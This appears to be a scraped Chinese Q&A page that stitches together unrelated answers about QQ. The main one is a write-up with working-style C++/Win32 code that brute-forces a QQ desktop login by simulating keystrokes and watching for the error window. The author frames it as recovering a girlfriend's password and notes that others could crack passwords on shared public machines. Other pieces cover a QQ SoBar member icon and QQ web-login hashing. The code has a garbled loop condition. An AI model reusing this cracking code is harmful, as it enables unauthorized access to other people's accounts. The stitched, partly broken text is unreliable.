本文目录一览:
如何找回QQ密码?
"暴力法"找回QQ密码
GF的QQ密码忘了,让我把密码找回来。于是,今天一晚上就耗在这上面了。
开始时候,依回忆将一些可能密码在QQ上逐一Try。Try了十几个都不是。郁闷。QQ密码保护又不知道答案。
这样下去不是个办法,于是想用程序方法自动输入密码。终于皇天不负有心人,程序帮我找回了密码!
偶猜想QQ的登录过程:
1)如果本机已登录过此QQ号码。则首先在本地验证,很可能只保存了密码的HASH值。比较两者的HASH值。
如果不对,就弹出失败对话框。
这样的目的:减少了一次非必要的网络访问,减轻QQ密码服务器的负担,或者xxx其他原因(方便真正丢失密码用户找回密码).
2)本地密码正确的话,才连接到服务器,再进行一次密码验证。
基于这样的假设,可以进行QQ本机的暴力破解。
主要过程 (解释部分参见代码comment):
1)找出QQ的登录窗口Handle。QQ登录窗口句柄不能直接获取到,需要先获取其某个子窗口,再通过子窗口找到登录窗口Handle。
HWND hQQLogin = 0;
BOOL CALLBACK MyEnumWindowsProc(HWND hwnd, LPARAM lParam)
{
hQQLogin = ::FindWindowEx(hwnd, 0, 0, "软键盘");
if (hQQLogin)
{
return FALSE;
}
return TRUE;
}
//Hard to find the QQ login window handle directly, because it has different title each time.
//So we find the specific child window in login window, such as "login", or "soft keyboard"
//Then find the parent window of this child window, and the parent is just Login window.
HWND FindQQLogin()
{
::EnumWindows(MyEnumWindowsProc, 0);
return ::GetParent(hQQLogin);
}
HWND FindTopWnd(const char* pTitle)
{
return ::FindWindowEx(0,0,0,pTitle);
}
2)模拟键盘,输入密码
bool CMyDialog::TryQQ(CString strCurrPass)
{
//Input password
SendString(strCurrPass);
SendEnter();
//Find the result window
Sleep(20);
HWND hFindResult = 0;
for (int i = 0; i20; i++)
{
hFindResult = FindTopWnd("错误");
if (hFindResult)
{
break;
}
else
{
Sleep(50);
}
}
if (!hFindResult)
{
//Maybe the password is right
CString strMessage;
strMessage.Format("We find it possibly!: %s", strCurrPass);
MessageBox(strMessage);
return true;
}
//close the "error" window
SendEnter();
return false;
}
3)将自己常用密码字符串组合,逐个调用TryQQ()。
程序以20ms试一个密码,一个小时可以试180K个密码。因为有比较小的选择范围,我自己的密码十几秒就找回了。
注意几点:
1)QQ在本地机器上有过成功登陆。
2)破解时,关掉所有其他无关程序,以免干扰导致发现不正确的窗口Handle。
3)最好组织一些常用密码串,如果直接从a到z,1~10, 特殊字符,密码长的话,估计跑几个月都不一定到找出来。
另外,如果在公共机器上如果以“普通方式”登录QQ,这样他人理论上又可能破解此QQ密码,如果密码比较短,则破解可能性很大。
如果以“网吧方式“登录, QQ退出时可能不会保存密码或者密码HASH到本机。这样就安全一些。
怎样点亮QQso吧图标呢?
QQ2009
Preview3现已发布,该版本新增了搜吧会员图标,如果您满足了点亮条件,即:搜吧经验值达到50分,且当前并未被搜吧全站封禁的状态,您便具备了点亮搜吧图标的资格。
但由于QQ2009
Preview3版本只针对了部分用户开放公测,所以不具备公测资格的QQ用户,即使在搜吧点亮了搜吧会员图标,也是不能在QQ2009
Preview3版本上看到图标点亮的。另外,搜吧会员图标不会在QQ的其它版本上显示(包括QQ2008正式版),只在QQ2009
Preview3版本上显示。如何点亮搜吧会员图标?点亮条件:1)搜吧经验值达到50分;2)当前并未被搜吧全站封禁的状态。怎么点亮搜吧会员图标?首先,您需要达到以上的点亮条件;其次,您必须具备QQ2009
Preview3版本的公测资格。满足这两个条件后,您可以登录搜吧后,点击页面右上角的“我的搜吧”链接,到您在搜吧的个人中心页面
求QQ的各种密码加密算法。
未有详细研究过, 不过网页方式登录qq时, 加密算法都写在js里面了, 研究相应的js函数应该就可以.
我印象中似乎是先把密码md5_3处理, 加密出来的字串和验证码一起MD5. 而md5_3似乎比较纠结, 并不是单纯的进行3次MD5. 具体的你去抓js文件研究吧.
至于可逆不可逆根本就不是关键啦. 服务器端无需对加密串解密的, 直接拿密码以相同方式加密, 然后比较一下即可.